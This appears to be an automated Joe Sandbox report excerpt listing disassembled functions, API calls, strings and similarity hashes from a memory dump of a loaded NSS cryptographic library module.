Part of subcall function 6CE8AB10: DeleteCriticalSection.KERNEL32(D958E852,6CE91397,5B5F5EC0,?,?,6CE8B1EE,2404110F,?,?), ref: 6CE8AB3C
Part of subcall function 6CE8AB10: free.MOZGLUE(D958E836,?,6CE8B1EE,2404110F,?,?), ref: 6CE8AB49
Part of subcall function 6CE8AB10: DeleteCriticalSection.KERNEL32(5D5E6D08), ref: 6CE8AB5C
Part of subcall function 6CE8AB10: free.MOZGLUE(5D5E6CFC), ref: 6CE8AB63
Part of subcall function 6CE8AB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6CE8AB6F
Part of subcall function 6CE8AB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6CE8AB76

TlsGetValue.KERNEL32 ref: 6CE8DCFA
EnterCriticalSection.KERNEL32(00000000), ref: 6CE8DD0E
PK11_IsFriendly.NSS3(?), ref: 6CE8DD73
PK11_IsLoggedIn.NSS3(?,00000000), ref: 6CE8DD8B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE8DE81
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE8DEA6
PR_Unlock.NSS3(?), ref: 6CE8DF08

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: CriticalSection$Deletefree$K11_$EnterFriendlyLoggedUnlockValuememcpystrlen
String ID:
API String ID: 519503562-0
Opcode ID: dadd81850961d0cc147b8c7af787aa4f9ce8906643ee9f43bf204ac60bbb375f
Instruction ID: 09f1480166ae06ad418988b1f2c7ece5206f3eb06c549e0f63651f11adf0c01f
Opcode Fuzzy Hash: dadd81850961d0cc147b8c7af787aa4f9ce8906643ee9f43bf204ac60bbb375f
Instruction Fuzzy Hash: 5991A2B9E021069BDB00CF68C881BAAB7B5AF4530CF25412ADC1D9B751E731EA55CBA1

Function 6CE45FC0 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 230COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000293F4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,6CF2BB62,00000004,6CF94CA4,?,?,00000000,?,?,6CE031DB), ref: 6CE460AB
sqlite3_config.NSS3(00000004,6CF94CA4,6CF2BB62,00000004,6CF94CA4,?,?,00000000,?,?,6CE031DB), ref: 6CE460EB
sqlite3_config.NSS3(00000012,6CF94CC4,?,?,6CF2BB62,00000004,6CF94CA4,?,?,00000000,?,?,6CE031DB), ref: 6CE46122

Strings

%s at line %d of [%.10s], xrefs: 6CE460A4
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE46095
misuse, xrefs: 6CE4609F

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: sqlite3_config$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse
API String ID: 1634735548-648709467
Opcode ID: f6f364c973b5416c8a86b0704335ab683cfa7295264460c564a9469ca6453fb5
Instruction ID: 721fcb4f057f8ef12587f3067425524d6a286630e7968a22abbe8dfae0f649f3
Opcode Fuzzy Hash: f6f364c973b5416c8a86b0704335ab683cfa7295264460c564a9469ca6453fb5
Instruction Fuzzy Hash: A4B170B0F5464ACFCB44CF5CD241AAABBF0FB1E304B158159D509AB322E731AB85CB95

Function 6CDF4F60 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 211stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CDF4FC4
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0002996C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CDF51BB

Strings

unable to delete/modify user-function due to active statements, xrefs: 6CDF51DF
%s at line %d of [%.10s], xrefs: 6CDF51B4
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDF51A5
misuse, xrefs: 6CDF51AF

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: sqlite3_logstrlen
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify user-function due to active statements
API String ID: 3619038524-4115156624
Opcode ID: 8b7bc79e6a88f05fead4f7a0b20117bbc15075803c99e05dc121d9acd8a50aac
Instruction ID: ed5820ba319fd77e7ab90237fb3ea18a32b70d0b3de5352fc82b9ea4767f3300
Opcode Fuzzy Hash: 8b7bc79e6a88f05fead4f7a0b20117bbc15075803c99e05dc121d9acd8a50aac
Instruction Fuzzy Hash: E971BF71A0420ADFEB00CF15CD80B9A77B5BF49318F168525FD299BB61E331E952CBA1

Function 6CE62D20 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6CE62D69

Strings

winUnmapfile1, xrefs: 6CE62F55
winTruncate1, xrefs: 6CE62EBE
winUnmapfile2, xrefs: 6CE62F7F
winTruncate2, xrefs: 6CE62EF8
winSeekFile, xrefs: 6CE62E9C

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: __allrem
String ID: winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2
API String ID: 2933888876-3221253098
Opcode ID: 62bf1fc8daf8c53b2d5e95b9db0ef235135a2a24c3ac187592af26017a736e36
Instruction ID: eb0ecbc57e05e1f76b36f1dfae17fac330da52a373995333a14bd53afe50673a
Opcode Fuzzy Hash: 62bf1fc8daf8c53b2d5e95b9db0ef235135a2a24c3ac187592af26017a736e36
Instruction Fuzzy Hash: 5B61B171B502059FDB44CF65DC88BAA7BB1FF49314F208538E915ABB80DB31AD06CB91

Function 6CE9DEF0 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE9DF37
EnterCriticalSection.KERNEL32(?), ref: 6CE9DF4B
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE9DF96
PR_SetError.NSS3(00000000,00000000), ref: 6CE9E02B
PR_Unlock.NSS3(?), ref: 6CE9E07E
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CE9E090
PR_Unlock.NSS3(?), ref: 6CE9E0AF

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Error$Unlock$CriticalEnterSectionValue
String ID:
API String ID: 4073542275-0
Opcode ID: 5bc6e8cd5e39f2394865f5dfc77965b41eb1403781ad45506404e5ad9479db89
Instruction ID: 614eda3a3c7e364ee5c0bdb999a9c883fd1d7ae3a25965434f34bcdfaaf9c42c
Opcode Fuzzy Hash: 5bc6e8cd5e39f2394865f5dfc77965b41eb1403781ad45506404e5ad9479db89
Instruction Fuzzy Hash: B751BE75A00A00DFEB209F28D845B6673B5FF45318F304928EA5A47F91D736E949CBD2

Function 6CE9BCF0 Relevance: 10.6, APIs: 7, Instructions: 142memoryCOMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CE9BD1E

Part of subcall function 6CE72F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CE72F0A
Part of subcall function 6CE72F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CE72F1D

Part of subcall function 6CEB57D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6CE7B41E,00000000,00000000,?,00000000,?,6CE7B41E,00000000,00000000,00000001,?), ref: 6CEB57E0
Part of subcall function 6CEB57D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6CEB5843

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE9BD8C

Part of subcall function 6CECFAB0: free.MOZGLUE(?,-00000001,?,?,6CE6F673,00000000,00000000), ref: 6CECFAC7

CERT_DestroyCertList.NSS3(00000000), ref: 6CE9BD9B
SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000008), ref: 6CE9BDA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE9BE3A

Part of subcall function 6CE73E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE73EC2
Part of subcall function 6CE73E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CE73ED6
Part of subcall function 6CE73E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE73EEE
Part of subcall function 6CE73E60: PR_CallOnce.NSS3(6CFD2AA4,6CED12D0), ref: 6CE73F02
Part of subcall function 6CE73E60: PL_FreeArenaPool.NSS3 ref: 6CE73F14
Part of subcall function 6CE73E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE73F27

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE9BE52

Part of subcall function 6CE72E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CE72CDA,?,00000000), ref: 6CE72E1E
Part of subcall function 6CE72E00: SECITEM_DupItem_Util.NSS3(?), ref: 6CE72E33
Part of subcall function 6CE72E00: TlsGetValue.KERNEL32 ref: 6CE72E4E
Part of subcall function 6CE72E00: EnterCriticalSection.KERNEL32(?), ref: 6CE72E5E
Part of subcall function 6CE72E00: PL_HashTableLookup.NSS3(?), ref: 6CE72E71
Part of subcall function 6CE72E00: PL_HashTableRemove.NSS3(?), ref: 6CE72E84
Part of subcall function 6CE72E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6CE72E96
Part of subcall function 6CE72E00: PR_Unlock.NSS3 ref: 6CE72EA9

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE9BE61

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Util$Item_$Zfree$ArenaHashTable$CertListPoolfree$AllocAlloc_Arena_CallCopyCriticalDecodeDestroyEnterErrorFreeInitK11_LookupOnceQuickRemoveSectionTokensUnlockValue
String ID:
API String ID: 2178860483-0
Opcode ID: 506859ffb88270675b1b5ff93a8f007dbcb3af44742f594723bec9dead409a1e
Instruction ID: 57a2679202d6b383fb78da89291817452d0ee3ae88d246ed10c76ecee4992cae
Opcode Fuzzy Hash: 506859ffb88270675b1b5ff93a8f007dbcb3af44742f594723bec9dead409a1e
Instruction Fuzzy Hash: 1041B1B6E00210AFD720DF28DD80B6AB7F8EB45718F21416CE9199B751E735ED14CBA2

Function 6CEBAC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6CEBAB3E,?,?,?), ref: 6CEBAC35

Part of subcall function 6CE9CEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6CE9CF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6CEBAB3E,?,?,?), ref: 6CEBAC55

Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED10F3
Part of subcall function 6CED10C0: EnterCriticalSection.KERNEL32(?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED110C
Part of subcall function 6CED10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1141
Part of subcall function 6CED10C0: PR_Unlock.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1182
Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6CEBAB3E,?,?), ref: 6CEBAC70

Part of subcall function 6CE9E300: TlsGetValue.KERNEL32 ref: 6CE9E33C
Part of subcall function 6CE9E300: EnterCriticalSection.KERNEL32(?), ref: 6CE9E350
Part of subcall function 6CE9E300: PR_Unlock.NSS3(?), ref: 6CE9E5BC
Part of subcall function 6CE9E300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6CE9E5CA
Part of subcall function 6CE9E300: TlsGetValue.KERNEL32 ref: 6CE9E5F2
Part of subcall function 6CE9E300: EnterCriticalSection.KERNEL32(?), ref: 6CE9E606
Part of subcall function 6CE9E300: PORT_Alloc_Util.NSS3(?), ref: 6CE9E613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6CEBAC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6CEBAB3E), ref: 6CEBACD7
PORT_Alloc_Util.NSS3(?), ref: 6CEBAD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6CEBAD2B

Part of subcall function 6CE9F360: TlsGetValue.KERNEL32(00000000,?,6CEBA904,?), ref: 6CE9F38B
Part of subcall function 6CE9F360: EnterCriticalSection.KERNEL32(?,?,?,6CEBA904,?), ref: 6CE9F3A0
Part of subcall function 6CE9F360: PR_Unlock.NSS3(?,?,?,?,6CEBA904,?), ref: 6CE9F3D3

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: d6801eb36339afcffb679aae6fe220892176b401637bea540f557576a020af6d
Instruction ID: 44d5f71d8159f4980aa553f1aeec359f2dd94e491e679dda86dd1f14e81de812
Opcode Fuzzy Hash: d6801eb36339afcffb679aae6fe220892176b401637bea540f557576a020af6d
Instruction Fuzzy Hash: 543128B1E406055FEF009E658D409BF7776AF8432CB298128E815BB740EB31ED058BA1

Function 6CE98C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6CE98C7C

Part of subcall function 6CF39DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CF80A27), ref: 6CF39DC6
Part of subcall function 6CF39DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CF80A27), ref: 6CF39DD1
Part of subcall function 6CF39DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CF39DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE98CB0
TlsGetValue.KERNEL32 ref: 6CE98CD1
EnterCriticalSection.KERNEL32(?), ref: 6CE98CE5
PR_Unlock.NSS3(?), ref: 6CE98D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6CE98D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE98D93

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: 614e4086d5f2e15476d7cd0ac710967128ae107a039a588384512ed65ec1054b
Instruction ID: 6df91e31d8559522f8cd1ae56cec9d8745ee5c9e3624b525a67f60dc8bac5900
Opcode Fuzzy Hash: 614e4086d5f2e15476d7cd0ac710967128ae107a039a588384512ed65ec1054b
Instruction Fuzzy Hash: 2A312371E01201AFEB10AF68DC447AAB7B8BF55318F34013AEA1967BB0D771A924C7C1

Function 6CED9D60 Relevance: 10.6, APIs: 7, Instructions: 108memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6CED9C5B), ref: 6CED9D82

Part of subcall function 6CED14C0: TlsGetValue.KERNEL32 ref: 6CED14E0
Part of subcall function 6CED14C0: EnterCriticalSection.KERNEL32 ref: 6CED14F5
Part of subcall function 6CED14C0: PR_Unlock.NSS3 ref: 6CED150D

PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6CED9C5B), ref: 6CED9DA9

Part of subcall function 6CED1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CE7895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE6F599,?,00000000), ref: 6CED136A
Part of subcall function 6CED1340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CE7895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE6F599,?,00000000), ref: 6CED137E
Part of subcall function 6CED1340: PL_ArenaGrow.NSS3(?,6CE6F599,?,00000000,?,6CE7895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE6F599,?), ref: 6CED13CF
Part of subcall function 6CED1340: PR_Unlock.NSS3(?,?,6CE7895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE6F599,?,00000000), ref: 6CED145C

PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6CED9C5B), ref: 6CED9DCE

Part of subcall function 6CED1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CE7895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE6F599,?,00000000), ref: 6CED13F0
Part of subcall function 6CED1340: PL_ArenaGrow.NSS3(?,6CE6F599,?,?,?,00000000,00000000,?,6CE7895A,00000000,?,00000000,?,00000000,?,00000000), ref: 6CED1445

PORT_ArenaAlloc_Util.NSS3(?,00000008,6CED9C5B), ref: 6CED9DDC
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,6CED9C5B), ref: 6CED9DFE
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6CED9C5B), ref: 6CED9E43
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,6CED9C5B), ref: 6CED9E91

Part of subcall function 6CF1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF1C2BF

Part of subcall function 6CED1560: TlsGetValue.KERNEL32(00000000,00000000,?,?,?,6CECFAAB,00000000), ref: 6CED157E
Part of subcall function 6CED1560: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CECFAAB,00000000), ref: 6CED1592
Part of subcall function 6CED1560: memset.VCRUNTIME140(?,00000000,?), ref: 6CED1600
Part of subcall function 6CED1560: PL_ArenaRelease.NSS3(?,?), ref: 6CED1620
Part of subcall function 6CED1560: PR_Unlock.NSS3(?), ref: 6CED1639

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Arena$Util$Value$Alloc_CriticalEnterSectionUnlock$GrowGrow_$ErrorMark_Releasememset
String ID:
API String ID: 3425318038-0
Opcode ID: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction ID: db5dd68dc189b39bef3f089b69c76b2cdd0ee0089497f6e771ffa0d6e3c2835e
Opcode Fuzzy Hash: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction Fuzzy Hash: 99417EB4601606AFE7409F55DC50B92BBB1FF45358F258128D8184BFA1EB76F836CB90

Function 6CE9DDD0 Relevance: 10.6, APIs: 7, Instructions: 106COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CE9DDEC

Part of subcall function 6CED0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CED08B4

PK11_DigestBegin.NSS3(00000000), ref: 6CE9DE70
PK11_DigestOp.NSS3(00000000,00000004,00000000), ref: 6CE9DE83
HASH_ResultLenByOidTag.NSS3(?), ref: 6CE9DE95
PK11_DigestFinal.NSS3(00000000,00000000,?,00000040), ref: 6CE9DEAE
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CE9DEBB
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE9DECC

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: K11_$Digest$Error$BeginContextDestroyFinalFindResultTag_Util
String ID:
API String ID: 1091488953-0
Opcode ID: 10e8d447c05d3a648c73f87c02ac37c24cb9a9c8e3da5b3d7981c2be50cc5197
Instruction ID: 7053df434c397a71ad6a079a6c854893e5d42438845c75ad04cc639eaf6a0fc4
Opcode Fuzzy Hash: 10e8d447c05d3a648c73f87c02ac37c24cb9a9c8e3da5b3d7981c2be50cc5197
Instruction Fuzzy Hash: 8E31E9B6E002246BDB00AF28AD41BBB76B89F5560CF250139ED09A7701F735DA14C6E2

Function 6CE77E30 Relevance: 10.6, APIs: 7, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CE77E48

Part of subcall function 6CED0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE787ED,00000800,6CE6EF74,00000000), ref: 6CED1000
Part of subcall function 6CED0FF0: PR_NewLock.NSS3(?,00000800,6CE6EF74,00000000), ref: 6CED1016
Part of subcall function 6CED0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE787ED,00000008,?,00000800,6CE6EF74,00000000), ref: 6CED102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6CE77E5B

Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED10F3
Part of subcall function 6CED10C0: EnterCriticalSection.KERNEL32(?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED110C
Part of subcall function 6CED10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1141
Part of subcall function 6CED10C0: PR_Unlock.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1182
